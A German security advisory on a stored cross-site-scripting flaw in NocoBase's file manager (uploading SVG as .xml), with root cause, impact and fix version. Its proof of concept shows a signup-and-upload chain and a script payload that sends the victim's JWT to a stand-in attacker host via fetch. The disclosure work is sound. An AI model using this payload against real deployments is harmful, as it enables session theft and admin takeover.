NocoBase: Stored Cross-Site-Scripting durch SVG-Inhalt als .xml-Upload im Datei-Manager

Jeder eingeloggte Nutzer lädt bei standardmäßig offener Registrierung ein SVG-Dokument mit der Endung .xml hoch; nginx- und Koa-Allowlists übersehen .xml, die Datei wird inline als text/xml ausgeliefert und vom Browser als SVG samt <script> gerendert, das das JWT aus localStorage an eine Angreifer-URL exfiltriert.

Advisory-ID: TP-2026-053
Produkt: NocoBase (Open-Source-No-Code-/Low-Code-Plattform zum Bauen von Business-Anwendungen, self-hosted)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-79915
CVSS 3.1: 7.6 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
Hersteller-Advisory: GHSA-722v-mxqw-prh7
Betroffene Versionen: @nocobase/plugin-file-manager <= 2.1.25
Behoben in: NocoBase 2.1.26
Gemeldet: 26. Mai 2026

Zusammenfassung

NocoBase ist eine self-hosted No-Code-/Low-Code-Plattform zum Bauen von Business-Anwendungen, deren Datei-Upload POST /api/attachments:create standardmäßig jedem eingeloggten Nutzer offensteht. Ein Upload mit der Endung .xml und einem SVG-Dokument als Inhalt umgeht die Schutzmechanismen, weil die Magic-Byte-Erkennung für SVG-Text nichts liefert, der Fallback über mime.lookup application/xml ergibt und die Datei mit der vom Nutzer gewählten Endung gespeichert wird. Sowohl die nginx-Vorlage als auch der Koa-Wächter erzwingen den Inline-Download-Schutz nur für eine Allowlist aus fünf Endungen (htm/html/svg/svgz/xhtml), sodass .xml inline als text/xml ausgeliefert wird und Chrome und Firefox das Dokument als SVG rendern und dessen <script> ausführen. Da die Anwendung keine Content-Security-Policy sendet und das JWT in localStorage.NOCOBASE_TOKEN liegt, exfiltriert das Skript den Token an eine Angreifer-URL. Der Standard-Authentifikator auth-basic liefert allowSignUp: true aus, sodass sich ein anonymer Besucher selbst registriert, die Datei hochlädt und die URL teilt; öffnet ein Super-Admin die URL, übernimmt der Angreifer dessen Sitzung.

Ursache

Sowohl die nginx-Vorlage als auch der Koa-Wächter wenden den Inline-Download-Schutz nur auf eine Allowlist aus fünf Endungen (htm/html/svg/svgz/xhtml) an, sodass eine .xml-Datei ungeschützt inline als text/xml ausgeliefert wird (packages/core/cli/nocobase.conf.tpl:26, packages/core/server/src/gateway/static-file-security.ts:12). Beim Upload mit standardmäßig ungesetzter rules.mimetype liefert die Magic-Byte-Erkennung für SVG-Text undefined, die Aktion fällt auf mime.lookup(originalname) zurück (application/xml für .xml), und die Muster-Prüfung greift bei der *-Storage-Regel nicht (packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts:87-107). Der gespeicherte Dateiname behält die vom Nutzer gewählte .xml-Endung, weil diskFilenameGetter nur einen zufälligen Hex-Suffix anhängt (packages/plugins/@nocobase/plugin-file-manager/src/server/utils.ts:69-86). Die Anwendung sendet keine Content-Security-Policy und legt das JWT in localStorage.NOCOBASE_TOKEN ab, und die Upload-Aktion ist über acl.allow('attachments', ['upload', 'create'], 'loggedIn') jeder authentifizierten Rolle erlaubt (packages/plugins/@nocobase/plugin-file-manager/src/server/server.ts:267). Der Standard-Authentifikator auth-basic liefert allowSignUp: true aus, sodass ein anonymer Besucher sich mit einem einzigen POST /api/auth:signUp registriert und die Upload-Aktion erreicht (packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:289-298).

Proof of Concept

# 1) Anonyme Registrierung, dann Login fuer ein Member-JWT:
POST /api/auth:signUp?authenticator=basic
  {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic
  {"account":"a","password":"P!ssw0rd1"}   ->  data.token = TOKEN

# 2) SVG-Payload als .xml hochladen:
cat > poc.xml <<'EOF'
<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('//attacker/steal?t='+encodeURIComponent(localStorage.NOCOBASE_TOKEN))</script></svg>
EOF
curl -X POST -H "Authorization: Bearer $TOKEN" -F "[email protected]" \
  http://target:13000/api/attachments:create

# 3) Rueckgabe-URL an einen eingeloggten Nutzer teilen.
# Antwort: Content-Type: text/xml, kein Content-Disposition.

Der Browser navigiert zur .xml-URL, rendert das Dokument mangels Content-Disposition als SVG und führt dessen <script> im Anwendungs-Origin aus. In der Live-Verifikation gegen nocobase/nocobase:2.0.57 empfing ein Listener das JWT des Super-Admins, das gegen /api/auth:check das Super-Admin-Profil samt PBKDF2-Passwort-Hash zurückgab.

Auswirkung

  • Stored Cross-Site-Scripting am Anwendungs-Origin: angreifergesteuertes <script> läuft im Origin des Dashboards.
  • JWT-Diebstahl über localStorage.NOCOBASE_TOKEN, mit dem der Angreifer die Sitzung des Opfers übernimmt.
  • Trifft es den Super-Admin, folgen voller Datenbank-Lese-, Schreib- und Löschzugriff, Plugin-Installation über pm.add sowie Nutzer- und Rollenverwaltung.
  • Anonyme Reichweite in Standard-Deployments, weil auth-basic allowSignUp: true ausliefert.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.